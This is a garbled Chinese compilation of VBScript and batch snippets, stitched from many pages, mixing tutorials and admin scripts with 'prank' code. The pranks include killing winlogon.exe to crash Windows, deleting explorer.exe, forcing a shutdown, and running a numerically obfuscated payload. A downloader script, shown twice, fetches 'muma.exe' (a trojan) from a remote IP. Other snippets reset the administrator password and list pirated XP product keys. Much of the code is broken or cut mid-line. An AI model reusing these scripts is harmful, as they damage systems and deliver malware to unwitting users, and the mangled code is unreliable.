vbs经典脚本
VBS经典代码大全
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators,group")
For Each objUser in objGroup.Members
Wscript.Echo
11关闭Guest
Set objNetwork = CreateObject("work")
strComputer = puterName
Set objUser = GetObject("WinNT://" & strComputer & "/Guest")
Next
--------------------------------------------------------------------------------
5检查Hot Fix
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For Each strAddress in IPConfig.IPAddress
vbs代码大全
vbs代码大全VBScript(Visual Basic Scripting Edition)是一种微软公司开发的脚本语言,它是Visual Basic的一种简化版本,用于在Windows系统上执行脚本和自动化任务。
VBScript可以用于编写各种类型的脚本,包括系统管理、网页交互、数据处理等。
在本文中,我们将介绍一些常用的VBS代码,帮助您更好地理解和应用这门语言。
首先,我们来看一段简单的VBS代码,用于在Windows系统上显示一个消息框:```vbscript。
MsgBox "Hello, World!"```。
以上代码使用MsgBox函数来显示一个消息框,其中包含"Hello, World!"这个消息。
这是一个非常简单的示例,但它展示了VBS代码的基本语法和结构。
接下来,我们将介绍一些更复杂的VBS代码示例,以便更全面地了解这门语言的特性和用法。
在VBScript中,我们可以使用条件语句来根据不同的条件执行不同的代码块。
下面是一个使用条件语句的示例:```vbscript。
Dim num。
num = InputBox("请输入一个数字,")。
If IsNumeric(num) Then。
If num > 0 Then。
MsgBox "这是一个正数。
"ElseIf num < 0 Then。
MsgBox "这是一个负数。
"Else。
MsgBox "这是零。
"End If。
Else。
MsgBox "输入无效。
"End If。
```。
以上代码首先使用InputBox函数获取用户输入的数字,然后使用条件语句判断这个数字的正负和零。
这个示例展示了VBS代码中条件语句的使用方法,以及如何处理用户输入的数据。
除了条件语句,VBScript还支持循环结构,可以重复执行特定的代码块。
好玩的vbs代码
好玩的vbs代码
VBS代码是一种基于VisualBasic脚本语言的代码,可以用于Windows系统中的各种任务和操作。
下面介绍一些好玩的VBS代码: 1. 在桌面上制造恐慌
将以下代码保存为.vbs格式,双击运行即可:
Set wshShell = wscript.CreateObject('WScript.Shell')
do
wscript.sleep 100
wshshell.sendkeys '你好吗?'
Loop
这个代码会在桌面上不停地输入“你好吗?”,看起来像是一个外挂程序在操作,非常逗乐。
2. 模拟电脑崩溃
将以下代码保存为.vbs格式,双击运行即可:
Set wshShell = wscript.CreateObject('WScript.Shell')
do
wscript.sleep 100
wshshell.sendkeys '{CAPSLOCK}'
wshshell.sendkeys '{NUMLOCK}'
wshshell.sendkeys '{SCROLLLOCK}'
Loop
这个代码会不停地切换大写锁、数字锁和滚动锁,使得电脑看起
来像是崩溃了一样。
好玩的vbs代码
好玩的VBScript代码VBScript(Visual Basic Scripting Edition)是一种基于VB语言的脚本语言,它可以用来创建简单的Windows应用程序、网页脚本和系统管理脚本等。
VBScript 是一种通用的脚本语言,可以用来实现各种有趣的功能。
在本文中,我们将介绍一些好玩的VBScript代码,展示其强大的功能和娱乐价值。
1. 电脑妖怪第一个VBScript代码是创建一个电脑妖怪。
该代码将在电脑屏幕上创建一个随机移动的图形,并发出奇怪的声音。
Set wshShell = CreateObject("WScript.Shell")Set objShell = CreateObject("Shell.Application")Set objWMI = GetObject("winmgmts:\\.\root\cimv2")DowshShell.Run "mshta vbscript:CreateObject(""SAPI.SpVoice"").Speak(""Boo!"") (Close)"objShell.MinimizeAllobjShell.UndoMinimizeAllFor Each objDesktop in objWMI.InstancesOf("Win32_Desktop")objDesktop.SetWallpaper "C:\path\to\your\image.jpg"Nextwscript.sleep 100Loop通过运行该代码,将在桌面上创建一个随机移动的图形,并且屏幕上会突然发出吓人的声音。
这个代码可以用作恶作剧或者给你的朋友带来一些惊喜。
2. 无限弹窗第二个VBScript代码是创建一个无限弹窗的例子。
收藏的比较精典VBS代码
收藏的比较精典VBS代码Set fso = Wscript.CreateObject("Scripting.FileSystemObject") '创建文件系统对象,用以处理驱动器、文件夹和文件Set WshShell = Wscript.CreateObject("Wscript.Shell") '创建系统Shell对象,用以运行程序等等if fso.fileexists("D:\刀剑Online\alreadyexist.txt") then '如果找到文件“D:\刀剑Online\alreadyexist.txt”则WshShell.Run("D:\刀剑Online\刀剑Online.exe") '运行“D:\刀剑Online\刀剑Online.exe”elseif fso.fileexists("\\gengxin\update\dj.exe") then '否则,如果找到“\\gengxin\update\dj.exe”则WshShell.Run("\\gengxin\update\dj.exe") '运行“\\gengxin\update\dj.exe”else WshShell.Run("D:\刀剑Online\刀剑Online.exe") '否则运行“D:\刀剑Online\刀剑Online.exe”end if '根据条件执行语句结束VBS 导入注册表,然后执行文件dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\AUTOSTART",0,"REG_DWORD" Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\PATH","G:\网络游戏\劲舞团1.5","REG_SZ" Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\VERSION",1010,"REG_DWORD" Wsh.run "patcher.exe"PING内网不通就执行关机的VBSstrIP = "192.168.0.254" '被PING的内网机器Set objShell = CreateObject("WScript.Shell")If Not IsOnline(strIP) Then objShell.run "shutdown -s -t 30 -c "&chr(34)&"机器即将关闭"&chr(34) End IfFunction IsOnline(strComputer) IsOnline = false strCommand = "%comspec% /c ping -n 2 -w 500 " & strComputer & "" Set objExecObject = objShell.Exec(strCommand) Do While Not objExecObject.StdOut.AtEndOfStream strText = objExecObject.StdOut.ReadAll() If Instr(strText, "Reply") > 0 Then IsOnline = true End If Loop End Function开机脚本VBS用于ARP邦定Set WshShell = Wscript.CreateObject("Wscript.Shell") WshShell.run "arp -s 192.168.0.1 30-18-e5-33-01",0 WshShell.run "arp -s 192.168.0.5 30-18-e5-33-07",0运行程序Dim aSet Wsh = WScript.CreateObject("WScript.Shell") a.Run "d:\网络游戏\大话西游II\xy-2.exe"运行oshell.run "d:\soft\hf\hfgame3\GameClient.lnk"断开网络连接strNICName = " disable =net pci\*" Set objShell = CreateObject("Wscript.Shell") strCommand = "devcon.exe"& strNICName objShell.Run strCommand, 0, False启动网络连接strNICName = " enable =net pci\*" Set objShell = CreateObject("Wscript.Shell") strCommand = "devcon.exe"& strNICName objShell.Run strCommand, 0, False删除文件的VBS脚本dim fso Set fso = CreateObject("Scripting.FileSystemObject")fso.CopyFile "\\server\共享\XXX.lnk","c:\目标位置1\",true '添加fso.CopyFile "\\server\共享\XXX.lnk","c:\目标位置2\",true '添加fso.DeleteFile "c:\目标位置1\XXX.lnk" ,true '删除fso.DeleteFile "c:\目标位置2\XXX.lnk" ,true '删除Set FSO=NoThing WScript.quit无界面自动检测安装iscsi客户端,映射及断开映射vbs脚本下列代码实现无界面自动检测安装iscsi客户端,自动映射On Error Resume Next setupfile="iscsi2.0.exe" 'iscsi客户端安装文件路径serverip="192.168.0.100" 'iscsi服务器ip Set oshell= CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") if not fso.fileexists(oshell.ExpandEnvironmentStrings("%WinDir%")+"\system32\iscsicpl.cpl")then oshell.run setupfile&" /q",,1 end if oshell.run "iscsicli AddTargetPortal "&serverip&" 3260",0,1 oshell.run "iscsicli LoginTarget .ricecake.iscsi:00 T * * * * * * * * * * * ** * * 0",0,1下例代码实现无界面删除iscsi映射盘filetmp="c:\my.txt" On Error Resume Next Set Shell = CreateObject("WScript.Shell") Set fso = Wscript.CreateObject("Scripting.FileSystemObject") shell.run "cmd /c iscsiclisessionlist>"&filetmp,0,1 Const ForReading = 1 Dim fso, theFile, retstring Set fso = CreateObject("Scripting.FileSystemObject") Set theFile = fso.OpenTextFile(filetmp, ForReading) aaa=thefile.readall thefile.close function myreadline() X=instr(1,aaa,vbcrlf,vbTextCompare) myline=mid(aaa,1,x-1) aaa=right(aaa,len(aaa)-x) if len(aaa) =<1 then myline ="end" myreadline=myline end function Do While bbb<>"end" bbb=myreadline if bbb <> "end" then if bbb <>" " then if instr(bbb,"Session")<>0 then temID=mid(bbb,instr(bbb,":")+1,len(bbb)-instr(bbb,":")) shell.run "iscsicli logouttarget"&temID,0 end if end if end if Loop fso.deletefile(filetmp)删除QQ用户文件强制删除是不行的了,要跳过的话这样:Dim fso, folderspec, f, f1, fc folderspec = "f:\Program Files\Tencent\QQ" '设置你的QQ文件夹Dim Re Set Re = New RegExp Re.Pattern = "^\d{4,13}$" Set fso = CreateObject("scripting.FileSystemObject") Set f = fso.GetFolder(folderspec) Set fc = f.SubFolders For Each f1 in fc If Re.Test() Then On Error Resume Next f1.Delete(true) On Error GoTo 0 End If Next格5分钟运行一次批处理程序Dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Do Wsh.Run "d:\aaa.bat" '你要执行的批处理WScript.Sleep(300000) Loop要设开机自动运行,禁止程序。
VBS常用脚本
Set f = fso.CreateTextFile(%PATH%) '创建文件,其中f可任意,包含缩略名
f.WriteLine(VBS) '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
修改本地管理员密码
Set objcnlar = GetObject(WinNT://./administrator, user)
objcnla.SetPassword P@ssW0rd
objcnla.SetInfo
弹出 YES or NO 的对话框,不同的选择执行不同的代码
intAnswer = Msgbox(Do you want to delete these files?, vbYesNo, Delete Files)
Set wso = CreateObject(WScript.Shell)
wso.RegDelete %Path% '删除子键或键值
'(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无)
引用内容
eg:
Set wso = CreateObject(Wscript.Shell)
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1,0
Set f = fso.CreateObject(C:\sample)
vbs脚本大全,配有实例 DOS命令,批处理 脚本 代码
Next
6 检查本地管理员数目
Set objNetwork = CreateObject("work")
strComputer = puterName
Else
objUser.AccountDisabled = True
objUser.SetInfo
Wscript.Echo "The Guest account has been disabled."
End If
12 检索本地共象
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators,group")
For Each objUser in objGroup.Members
Wscript.Echo
Next
7 磁盘系统
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is disabled."
Else
Wscript.Echo "The Guest account is enabled."
好玩的vbs代码
好玩的vbs代码VBScript(即Visual Basic Scripting Edition)是针对Microsoft Windows操作系统开发的一种脚本语言。
可以使用VBScript编写简单的窗体程序、交互式的动态网页以及实现许多有趣的小程序。
在这里,我们将分享一些有趣的VBScript代码,让你在工作之余放松一下,娱乐一下自己吧。
第一步:"Hello, World!""Hello, world!"是编程语言初学者经常会编写的程序。
让我们来看一下用VBScript编写"Hello, world!"的代码。
```VBScriptMsgBox "Hello, world!"```在使用VBScript中,MsgBox是一个弹出式对话框,用于显示一条消息。
在这个代码中,我们使用了MsgBox,将"Hello, world!"作为消息显示出来。
这个程序的作用是打开一个窗口,显示一条消息,即"Hello, world!"。
第二步:翻转字符串这个程序可以将一个字符串翻转。
例如,如果我们输入"hello",则输出"olleh"。
```VBScriptoriginalString = "hello"reversedString = StrReverse(originalString)MsgBox reversedString```在这个代码中,我们使用StrReverse函数翻转字符串。
该函数将输入的字符串反转,返回反转后的结果。
在这个程序中,我们将"hello"传递给该函数,并将结果返回给另一个变量。
最后,我们使用MsgBox弹出一个对话框,显示反转后的字符串。
第三步:随机数生成器这个程序可以生成1到100之间的随机数,并让用户猜测正确的数字。
收集的一些经典的vbs脚本大全
收集的⼀些经典的vbs脚本⼤全记录⼀些经典的vbs脚本1.⽂件下载(⽆回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe⽤法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echo ps.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs⽤法:cscript ps.vbs3.终⽌进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs⽤法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs@echo os.win32shutdown(2):next >>reboot.vbs⽤法:cscript reboot.vbsVBS脚本在系统安全中的⼋则巧妙应⽤VBS脚本病毒的⼤量流⾏使我们对VBS的功能有了⼀个全新的认识,现在⼤家对它也开始重视起来。
vbs脚本经典教程全
Vbs脚本经典教材(最全的资料还是MSDN)—为什么要使用Vbs?在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除,也许你每天启动计算机第一件事情就是打开WORD,切换到你喜爱的输入法进行文本编辑,同时还要播放优美的音乐给工作创造一个舒心的环境,当然也有可能你经常需要对文本中的某些数据进行整理,把各式各样的数据按照某种规则排列起来……。
这些事情重复、琐碎,使人容易疲劳。
第三方软件也许可以强化计算机的某些功能,但是解决这些重复劳动往往事倍功半,我也尝试过使用计算机语言编写程序来解决这些问题,但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要,难道就是因为猪毛比较难拔,所以我就要去学习机械,为自己设计一个拔猪毛机(?)吗?Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。
我个人认为Vbs脚本其实就是一种计算机编程语言,但是由于缺少计算机程序设计语言中的部分要素,对于事件的描述能力较弱,所以称为脚本,它最方便的地方就是提供了对COM对象的简便支持。
那么什么是COM对象呢?我这样理解,COM对象就是一些具有特定函数功能项程序模块,他们一般以ocx或者dll作为扩展名,你只要找到包含有你需要的功能的模块文件,并在脚本中规范的引用,就可以实现特定的功能,也就是说Vbs脚本就是调用现成的“控件”作为对象,用对象的属性和方法实现目的,完全免去了编写代码、设计算法等等麻烦。
一些很恶作剧的vbs程序代码
⼀些很恶作剧的vbs程序代码操作⽅法:把代码保存为*.VBS运⾏即可经本⼈亲⾃测试不会出⼤问题的,⼀般都是利⽤⽆限循环,不是死循环,可以通过任务管理器中结束WSCRIPT或cscript进程即可。
复制代码代码如下:domsgbox "hi"loop⽆限制的⽤英⽂报数复制代码代码如下:Set s = CreateObject("sapi.spvoice")i=0dos.speak ii=i+1loop复制代码代码如下:if MsgBox("对不起,您灌⽔太多需要重新启动计算机。
"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel thenmsgbox " 系统将⽴刻重起wow ~_^",,"你上当了!!"Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 5",,trueend if复制代码代码如下:strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114 for i=1 to UBound(strs)runner=runner&chr(strs(i))nextExecute runner这个没什么,不过加密了,⼤家可以解密试试复制代码代码如下:if MsgBox("你是猪头吗?",vbYesNo,"提⽰")=vbyes thenmsgbox "你SB啊!"elsemsgbox "还不承认!! 作为惩罚,蓝屏⼀下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if复制代码代码如下:Set ws = CreateObject("Wscript.Shell")ws.run "cmd.exe /c call calc.exe",0下⾯的是删除explorer.exe,导致桌⾯没有显⽰,不过它事先帮你备份了,为同⽬录下的explorer.Data复制代码代码如下:set ws=CreateObject("Wscript.Shell")ws.run "cmd.exe /c taskkill /f /im explorer.exe",0wscript.sleep 900ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"wscript.sleep 1200ws.run "cmd.exe /c del /q /f %windir%\explorer.exe复制代码代码如下:for each wind in verybatws.sendkeys windwscript.sleep 500nextws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8ws.run "taskkill /f /im qq.exe"ws.popup"你还要上吧慢慢玩哦",27dim WSHshellset WSHshell = wscript.createobject("wscript.shell")for d=0 to 4WSHshell.SendKeys "%{F4}"nextws.run"shutdown -s -t 1000600"wscript.sleep 2000dim adoa=inputbox("请输⼊解除关机密码")if a="403746401" thenws.run"shutdown -a"msgbox"密码验证成功,enjoy the best!"exit doelsemsgbox"密码验证失败,请输⼊解除关机密码:403746401 ",vbretrycancelend ifloopws.popup"哈哈被吓到了吧好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么打本事能做出病毒来!",57ws.popup"(\(^o^)/~ 好啦,跟你开了个⼩⼩玩笑。
VBS的经典
const PI=3.1415926const NAME="记忆碎片"这样我们就定义了两个常量, PI和NAME, 一般说来, 常量名全部使用大写, 但也可以不用, 随你喜好. 将一些在程序中不需要改变的值定义为常量是个好习惯, 这样能防止不必要的意外. 另外, 使用自定义常量也可以减少你的工作量. 比如:msgbox("Hello World")msgbox("Hello World")msgbox("Hello World")msgbox("Hello World")msgbox("Hello World")这个程序输出五次Hello World, 如果你想要改变输出为Bye-Bye, 就必须修改全部程序, 当然你可以手动修改5次, 但如果你要输出1000次呢? 常量就可以替我们解决这个问题:const hw="Hello World"msgbox(hw)msgbox(hw)msgbox(hw)msgbox(hw)msgbox(hw)这样当你要修改输出的时候只要修改hw的值就行了.好了, 现在我们来看看编程的第一块重要"基石":变量. 解释变量最好的办法我觉得是"盒子", 一个变量好像一个盒子, 里面只能装一个东西, 当你要装进去别的东西的时候必须把原有的东西拿出来. 这个"盒子"是有名称的, 当你在程序中使用变量的时候, 系统会打开盒子取出里面的东西, 让这些东西参与处理, 而不是盒子. 有些语言是很依赖"盒子"里面装些什么东西, 这样才能找到合适的"盒子"(比如C语言), 但VBS给我提供的是能够自动伸缩的"魔术盒", 我们不用关心装进去的是什么东西,VBS会自动调整盒子的大小. 例如:Dim a1,a2,a3a1=14a2=12.23a3="Hello"而不用像C语言那样麻烦: 或者是VB的正规声明(VB可以声明也可以不用)那样:int a1; Dim a1 as integerfloat a2; Dim a2 as Doublechar* a3; Dim a3 as strniga1=14; a1=14a2=12.23; a2=12.23a3="Hello"; a3="Hello"嗯……扯远了……变量有什么用呢? 哇, 那用处可大了. 最简单, 你并不能确定程序运行时变量的值, 比如前一节课我们编的输入姓名的程序, 你不能确定InputBox返回的是什么(还记得Inputbox的返回值吗? 就是你输入的内容), 所以你就没有办法应对各种情况, 但我们用name这个"盒子"把用户的名字装起来, 到用的时候我们只要知道name这个盒子的名字就行了, 系统会自己打开他并把里面的内容拿出来用. 再举个例子, 我们编写一个程序计算一个矩形的面积, 比如这个程序要发给小学生使用:dim a,b,sa=15b=12s=a*bmsgbox(s)这样就可以求出长为15,宽为12的矩形的面积了, 是不是很简单? 当然, 这个程序也可以这样写:dim ss=15*12msgbox(s)这样看起来程序短了许多, 也节约内存, 但并不是鼓励的做法, 为什么? 请看下面.现在, 我们的程序要变得像点样子才行, 谁的程序写出来还要别人修改源代码才能用啊?所以, 我们要接受用户的输入, 还记得吗? InputBox函数.修改后程序如下:dim a,b,sa=inputbox("请输入矩形的长:")b=inputbox("请输入矩形的宽:")s=a*bmsgbox(s)ok, 这么一修改, 无论用户输入怎样的数据, 我们都能计算出矩形的面积了. 如果你用s=15*12能改嘛? 当然不行.我想你已经发现了, vbs中的数学计算和真正的算术没有什么不同, +,-,*,/,(),[],{}都是一样的用法, 比如:dim ansans=12+32/4+[(23-10)*2]msgbox(ans)四则运算的法则在编程中同样生效, 你可以在编程中重新获得小学时候的乐趣(你恨数学?那就别学电脑了).在编程中有一个有趣的运算符是"mod", 这个运算符叫做"取余运算符", 就是取得一次除法的余数, 例如dim aa=16 mod 5你知道a等于几吗? Bingo! 没错, 就是1. 因为16 / 5 =3....1, 所以mod计算的结果就是1.还有一个运算符是"^"(就是键盘"6"上面的小箭头), 他表示"乘幂"(或者是"方") 比如:dim a,b,ca=2b=a^2c=a^3msgbox(a)msgbox(c)则b=a*a=4, c=a*a*a=8。
vbs经典例子
1.文件下载(无回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echops.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs用法:cscript ps.vbs3.终止进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs用法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs @echo os.win32shutdown(2):next >>reboot.vbs用法:cscript reboot.vbsVBS脚本在系统安全中的八则巧妙应用VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,现在大家对它也开始重视起来。
一些常用的VBS脚本
一些常用的V BS脚本、批处理和注册表2007-10-10 18:36======打开迅闪菜单的同时连接虚拟磁盘的VBS======Set WshShe ll = WScrip t.Create Objec t("WScrip t.Shell")Return = WshShe ll.Run ("c:\client\新调用.exe",0,true)Return = WshShe ll.Run ("iscsic li AddTar getPo rtal192.168.0.9 3260",0,true)Return = WshShe ll.Run ("iscsic li LoginT arget .riceca ke.iscsi:00 T * * Set WshShe ll = Nothin g======开机VBS调用远程批处理(延时+无黑屏后台运行的效果)======DIM objShe llset objShe ll=wscrip t.create Objec t("wscrip t.shell")WScrip t.Sleep(10000)iRetur n=objShe ll.Run("cmd.exe /C \\server\E\123.bat", 0, TRUE)======修改IE状态栏显示字符的注册表======Window s Regist ry Editor Versio n 5.00[HKEY_C URREN T_USE R\Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\Zones\ @="""Displa yName"="XX网吧"====== 批处理获得本机的I P和MAC地址然后进行绑定======@echo offfor /f "tokens=1* delims=:" %%i in ('ipconf ig /all^|find /i "Physic al Addres s"') do s for /f "tokens=1* delims=:" %%i in ('ipconf ig /all^|find /i "IP Addres s"') do set ip= arp -s %ip:~1% %Mac:~1%======强制刷新组策略和注册表======xp/2003命令gpupda te /force2k命令secedi t /refres hpoli cy machin e_pol icy /enforc e====== 批处理修改IE主页======@reg delete "HKEY_C URREN T_USE R\Softwa re\Micros oft\Intern et Explor er\Main" /v "StartP @reg add "HKEY_C URREN T_USE R\Softwa re\Micros oft\Intern et Explor er\Main" /v "StartPage======解除禁止下载的几种方法======VBS代码:DIM WSHSET WSH=WSCRIP T.Create Objec t("WSCRIP T.SHELL")WSH.POPUP("本程序的作用是解决无法下载的问题")WSH.Regwri te"HKCU\Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\Zones03 WSH.POPUP("现在您可以下载程序了!")JS代码:VAR WSHShe ll=WSCRIP T.CREATO BJEt("WSCRIP T.SHELL");WSHShe ll.Popup("本程序解决无法下载的问题,");WSHShe ll.RegWri te("HKCU\Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\ZINF代码[Versio n]Signat ure="$CHICAG O$"[Defaul tInst all]DelReg=Del[Del]HKCU,"Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\Zones",1803====== 屏蔽WIN2003开机弹出的错误对话框:在系统启动时至少有一个服务或驱动程序产生错误Window s Regist ry Editor Versio n 5.00[HKEY_L OCAL_MACHI NE\SYSTEM\Curren tCont rolSe t\Contro l\Window s]"NoPopU psOnB oot"=dword:00000001======导入注册表不给任何提示的方法============简单三步,更改序列号解决WIND OWS XP在线升级问题======1)在〔开始〕→〔执行〕→〔Regedi t〕→〔HKEY_L OCAL_MACHI NE〕→〔SOFTWA RE〕→〔Micros 〔Window s NT〕→〔Curren tVers ion〕在〔WPAEve nts〕内将〔OOBETi mer〕的头两个数值〔FF〕2)在〔开始〕→〔执行〕→〔oobe/msoobe /a〕进入〔启动画面〕→选择第二项〔电话启动〕3)在进入下一个视窗,选择〔change produc t key〕来修改序列号及输入新的序列号,完成后点重新启动电脑后在〔开始〕→〔执行〕→〔oobe/msoobe /a〕进入〔启动画面〕时应该显示已经启KLV,VOL版用户可用序列号:MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版) 可用CM3HY-26VYW-6JRYC-X66GX-JVY2D可用DP7CM-PD6MC-6BKXT-M8JJ6-RPXGJ可用F4297-RCWJP-P482C-YY23Y-XH8W3可用HH7VV-6P3G9-82TWK-QKJJ3-MXR96可用HCQ9D-TVCWX-X9QRG-J4B2Y-GR2TT可用======去除系统面板上的远程和系统还原选项======regsvr32 /u remote pg.dllregsvr32 /u wuauen g.dll======冒险岛刷新率设置成85HZ的注册表(对玩冒险岛黑屏的兄弟有用)======Window s Regist ry Editor Versio n 5.00[HKEY_L OCAL_MACHI NE\SOFTWA RE\Wizet\MapleS tory]"ExecPa th"="E:\\Online Game\\冒险岛""EKEYUS E"=dword:00000000"DGTIDU SE"=dword:00000000"RMA"=dword:00000000"LMA"="""LCWN"="""scrFir stRun"=dword:00000000"soVide o"=dword:00000003"soBGMV ol"=dword:0000000f"soBGMM ute"=dword:00000000"soSEVo l"=dword:0000000f"soSEMu te"=dword:00000000"soScre enSho t"=dword:00000000"soMous eSpee d"=dword:0000000a"soHPFl ash"=dword:0000000a"soTrem ble"=dword:00000001"jpBtn0"=dword:00000000"jpBtn1"=dword:00000000"jpBtn2"=dword:00000000"jpBtn3"=dword:00000000"jpBtn4"=dword:00000000"jpBtn5"=dword:00000000"jpBtn6"=dword:00000000"jpBtn7"=dword:00000000"jpBtn8"=dword:00000000"scrRRa te"=dword:00000055======QQ面板上点QQ游戏无反映的解决注册表(一定是做母盘的时候没有运行过QQ游戏吧?)Window s Regist ry Editor Versio n 5.00Window s Regist ry Editor Versio n 5.00[HKEY_C URREN T_USE R\Softwa re\Tencen t\QQGame\SYS]"HallDi recto ry"="e:\\网游平台\\QQGame\\""GameDi recto ry"="e:\\网游平台\\QQGame\\"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\CLSID]"CLBVer sion"=dword:00000007[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\CLSID\{11BEA40D-ED62-4996-B157-B6D9C637F2A5}\Inp "Thread ingMo del"="Apartm ent"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\CLSID\{B59750C3-29F1-44AA-BFA8-E5F6D3CE8596}\InP "Thread ingMo del"="Both"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\Interf ace\{AA21B901-1642-4AB2-9C1C-A09B2412CC89} "Versio n"="1.0"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\Interf ace\{B2167A4F-BC4D-4DA7-90BF-C4BAF7D76714} "Versio n"="1.0"[HKEY_L OCAL_MACHI NE\Softwa re\Tencen t\QQGame\SYS]"HallDi recto ry"="E:\\网游平台\\QQGame\\""GameDi recto ry"="E:\\网游平台\\QQGame\\"======运行共享里的EXE不给予提示的方法======IE--Intern et 选项--安全--自定义级别--安全设置--加载应用程序和不安全文件:选择|启用|即======制作2003系统最重要的步骤:让2003象XP一样兼容游戏======修改boot.ini为:multi(0)disk(0)rdisk(0)partit ion(1)\WINDOW 